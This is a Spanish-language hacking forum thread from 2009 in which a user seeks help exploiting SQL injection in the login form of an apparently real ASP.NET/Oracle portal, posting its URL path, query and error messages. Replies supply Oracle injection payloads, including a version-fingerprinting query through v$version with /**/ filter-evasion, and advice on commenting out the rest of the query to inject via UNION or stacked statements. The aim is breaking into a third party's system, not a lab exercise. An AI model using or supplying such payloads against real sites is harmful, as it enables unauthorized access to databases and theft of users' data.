sql Injection en Oracle!!! Ayuda....

Iniciado por z3n, 3 Septiembre 2009, 03:08 AM

0 Miembros y 1 Visitante están viendo este tema.

z3n

Quisiera saber si alguien me puede ayudar con un problema que tengo en una web asp.net con base datos Oracle....

en el login escribo: '
y en el password: &

y el error que me sale es este:

Revisar
Consulta:
SELECT * FROM sis_usuarios WHERE upper(susu_tlogin) ='''
ERROR (-2147467259)[Oracle][ODBC][Ora]ORA-01756: la cadena entrecomillada no está terminada correctamente
Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Oracle][ODBC][Ora]ORA-00921: unexpected end of SQL command

/portal/biblioteca/_conexion.asp, línea 357

-------------------------------------------------------------

La direccion que me queda en el browser es la siguiente:

portal/portada/proc_portada.asp?datos[0][login]='&datos[0][clave]=&&TipoUsuario=Alumno

-------------------------------------------------------------

me queda claro que la base de datos es vulnerable, pero cuando intento terminar la consulta, me arroja errores como estos:

SELECT * FROM sis_usuarios WHERE upper(susu_tlogin) ='''
ERROR (-2147467259)[Oracle][ODBC][Ora]ORA-01756: la cadena entrecomillada no está terminada correctamen

SELECT * FROM sis_usuarios WHERE upper(susu_tlogin) =''(SELECT * FROM USUARIOS)''
ERROR (-2147467259)[Oracle][ODBC][Ora]ORA-00936: missing expression
ERROR (-2147467259)[Oracle][ODBC][Ora]ORA-00936: missing expression

y ademas la doble comilla me la incluye sola....

como puedo generar bien la consulta... o obtener informacion de otro manera???

alguien que me ayude porfavor.....



berz3k

Tienes que currarlo un poco mas, ORACLE injection es algo fastidioso para injectar y cerrar o abrir quotes, deberas usar la tabla virtual DUAL, mmm intenta las siguentes injecciones para bajos privilegios y conocer el version:


select banner from (select rownum r, banner from v$version) where r=1;
o
select/**/banner/**/from(select/**/rownum/**/r,banner/**/from/**/v$version)/**/where/**/r=1;



Aun asi date una vuelta por la sección Hacking Web

-berz3k.


z3n

He intentado de todo y sigo con el mismo problema....

la solución creo yo que va por cerrar la consulta... pero como????

tomrian

Cita de: z3n en  3 Septiembre 2009, 03:08 AM
me queda claro que la base de datos es vulnerable, pero cuando intento terminar la consulta, me arroja errores como estos

¿De que forma intentás cerrar la consulta?
¿Probaste cerrar con comentarios usando los caractéres --? En Oracle, al igual que en MSSQL y MySQL, se usa para empezar los comentarios en línea el prefijo --

z3n

los caracteres "--" en oracle son para hacer comentarios no para cerrar consultas...

tomrian

Cita de: z3n en 14 Septiembre 2009, 03:47 AM
los caracteres "--" en oracle son para hacer comentarios no para cerrar consultas...

Cita de: tomrian en 13 Septiembre 2009, 04:19 AMEn Oracle, al igual que en MSSQL y MySQL, se usa para empezar los comentarios en línea el prefijo --

Es exactamente lo que puse... es una manera de decir que cierra las consultas para que ignore el resto de la sentencia y asi inyectar tranquilamente por medio de UNION o stacking de sentencias, por ejemplo.